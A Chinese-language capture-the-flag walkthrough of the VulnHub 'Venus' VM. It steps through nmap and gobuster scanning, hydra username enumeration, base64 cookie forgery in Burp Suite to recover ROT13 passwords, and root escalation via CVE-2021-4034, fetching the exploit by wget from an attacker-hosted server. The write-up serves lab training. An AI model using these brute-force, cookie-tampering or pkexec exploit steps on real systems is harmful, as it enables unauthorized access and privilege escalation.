借用Vulnhub的一句话:请记住,VulnHub 是一个免费的社区资源,因此我们无法检查提供给我们的机器。在下载之前,请阅读我们的常见问题解答部分,这些部分涉及运行未知 VM 的危险,以及我们关于“保护您自己和您的网络”的建议。如果您了解风险,请下载!
靶机下载地址:https://download.vulnhub.com/theplanets/Venus.ova
运行环境:Virtualbox、Vmware等虚拟机。这里推荐Vmware
一、目标发现主机扫描
arp-scan -I eth0 -l
发现目标靶机ip地址是192.168.195.128
二、端口扫描
nmap -Pn -sV 192.168.195.128
通过nmap扫描发现了目标主机开放了22端口、8080端口
-Pn:假设主机在线,跳过主机发现阶段
-sV:对服务的识别
三、站点探测
浏览器访问http://192.168.195.128:8080 #以实际扫描到的IP地址为准
发现是一个用户登录页面并给出了一个账户密码 guest:guest
登录进去是一个金星探测图没有太多用处
四、目录爆破
gobuster dir -u http://192.168.195.128:8080/ -w /usr/share/wordlists/dirbuster/directory-2.3-small.txt
dir:对文件和目录进行枚举
-u:指定目标系统的URL(网址)等
-w:指定字典文件
Kali自带的字典文件默认位置 /usr/share/wordlists/dirbuster/directory-2.3-small.txt
gobuster 未安装的话安装命令:apt install gobuster
通过gobuster 发现了一个/amin
访问地址 http//192.168.195.128:8080/admin 发现了管理登录后台并且使用的是Django框架
但是当我们输入用户名和密码时会出现内部服务器报错 #这里ip地址重启之后改成130了
现在想想那我们的入手点就只有第一个登录界面了返回刚才那个界面http://192.168.195.128:8080。但是他只给我们了一个用户名跟密码,没有什么其他有用的信息。那我们想想如果给他一个错误的用户名会怎么样?
果然,给他一个错误的用户名之后提示了无效的用户名,利用这一点我们可以尝试使用 hydra 枚举其他有效用户。
五、使用THC-Hydra 进行 HTTP POST 攻击
1.Hydra 概述
hydra 是黑客组织thc的一款开源的密码攻击(爆破)工具
用户登录口令破解工具,支持多种登录协议如SSH、FTP、Telnet等
用法:
hydra -l kali -p /usr/share/wordlists/rockyou.txt ssh://127.0.0.1
-l:指定破解的用户,对特定用户破解
-L: 指定用户名字典
-p:指定密码字典
当使用 HTTP POST 请求进行用户登录时,通常是通过 web 表单,这意味着我们应该使用“http-post-from”服务模块我们可以提供服务名称加上 -U 来获取有关所需参数的其他信息
参数至少需要三个以“:”分隔的值
第一个参数:
首先是服务器上要 GET 或 POST 的页面(URL)例如“/login”或“/admin/login/?next=/admin/”
<form action="/admin/login/?next=/admin/" method="post" id="login-form">
第二个参数:
POST/GET 变量(从浏览器、代理等获取),并且用户名和密码被替换为"^USER^"(对于 base64 编码为"^USER64^")和"^PASS^"(对于 base64 编码为"^PASS64^")
第三个参数:
我们还必须提供条件字符串<condition string>来指示登录尝试何时失败这可以通过尝试几次手动登录来发现。
hydra -L usernames.txt -p pass -s 8080 192.168.195.128 http-post-form "/:username=^USER^&password^PASS^:Invalid username."
使用hydra成功拿到两个新用户venus和magellan
六、使用BurpSuite分析HTTP报文并替换cookie
BurpSuite概述:
BurpSuite是一个非常流行的web应用程序安全程序安全漏洞和利用工具、通常被业界的web应用程序安全专业人员和渗透测试人员使用。
BurpSuite是一个基于代理的工具,允许渗透测试人员拦截攻击者的web浏览器和web应用程序之间的通信消息允许渗透测试人员从客户端修改请求消息。
简单地说,渗透测试人员将使用BurpSuite作为拦截代理,他将捕获来自他们机器上web浏览器的任何请求消息允许渗透测试人员修改请求消息中的字段,然后将其转发到web应用服务器。
1)kali搜索BurpSuite
2) 点击Next、Start Burp
3)进入主界面之后点击右上角的小齿轮查看IP地址跟端口
没有ip地址跟端口的点击Add添加即可
4) 打开kali的火狐浏览器选择右上角三条横杠点击Settings
5)一直划到最下面找到Network Settings点击settings按钮
选择Manual proxy confiquration添加BurpSuite看到的ip地址跟端口并选择Also use this proxy for HTTPS完成之后点击ok即可。如下
6)设置完成之后返回登录页面输入账户密码点击Login即可
进入到金星的页面之后进入到BurpSuite选择Proxy选择HTTP history就能看到刚才登陆的请求点击进去
当我们以访客用户身份登录时,会设置一个 auth cookie,
现在我们向服务器发出的每个请求(如刷新页面)都会发送该cookie以验证我们是否已通过身份验证。
发现base64加密解密得出不一样的东西
得到guest:thrfg 现在我们有了用户名和一些乱码,可能是编码密码。 现在我们将专注于用户名。如果我们为之前找到的一位用户更改它,将其编码为 base64 并用原始 cookie 替换它会怎样?
CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码 (hiencode.com)http://www.hiencode.com/base64.html也可以用BurpSuite自带的编码工具,只要是能编码base64的工具都可以
7) 替换cookie,进入以下页面点击Intercept is off
然后指示灯就会变红,接下来返回浏览器刷新页面点击Resend就会弹出BurpSuite
先右击弹出来的BurpSuite文本界面选择Sendto Repeater点击第二行导航栏Repeater选项
需要删除最下面的一行用户跟密码的然后替换刚才编码加密的内容dmVudXM6dGhyZmc=然后再点击Send
他返回的cookie内容可以看到变了不一样了,我们拿去解密一下看看。BurpSuite或其他网站都行
解密得出venus:irahf
同样的方法我们试试另一个用户magellan
替换cookie的auth为bWFnZWxsYW46dGhyZmc=然后点击Send
返回的cookie还是不一样解码得到 magellan:irahfvnatrbybtl1989
目前已经得到
guest:thrfg
venus:irahf
magellan:irahfvnatrbybtl1989
七、rot13解码
拿去Decrypt a Message - Cipher Identifier - Online Code Recognizer (dcode.fr)分析一下
经过尝试这些是rot13
编码
rot13加密原理:Rot13的加密原理-CSDN博客
通过rot13解密得出
guest:guest
venus:venus
magellan:venusiangeology1989
尝试使用ssh登录经过尝试只有magellan可以正常登录
八、提权
在用户目录下拿到了flag1
sudo -l发现不行
那就看看有没有什么可以你用的suif程序来进行提权,发现有个polkit-agent-helper-1太好了搜索发现可以使用CVE-2021-4034来进行提权
polkit提权
1、polkit是许多linux发行版默认安装的系统服务。它由systemd使用。因此任何使用systemd的linux发行版也会使用polkit
2、漏洞:CVE-2021-3560/CVE-2021-4034
该漏洞使非特权本地用户能够获得系统的root shell。只需要几个标准的命令行工具即可轻松利用该漏洞
下载完CVE-2021-3560/CVE-2021-4034之后需要复制到kali中然后使用python架构一个简易的HTTP服务器
python -m http.server -b 192.168.195.123 8090 #ip地址是kali的 8090是端口可自定义未占用的
然后需要在靶机下载下来
wget http://192.168.195.123:8090/CVE-2021-4034.tar.gz
解压
tar xzf CVE-2021-4034.tar.gz
解压完成后进入目录使用make编辑成二进制程程序
然后运行./cve-2021-4034
成功提权后flag在root目录下
id
cd /root
cat root_flag.txt
总结:本靶机利用登录时的用户名报错并且利用hydra做用户名枚举,然后通过BurpSuite做cookie信息的修改,使用ssh登陆之后利用可利用的suid程序进行提权最后获得第二个flag。
至此打靶完成制作不易耗时较长,为的就是向大家展示更详细的教学。如有做得不对或不懂的地方可在评论区评论本人看到会第一时间回复。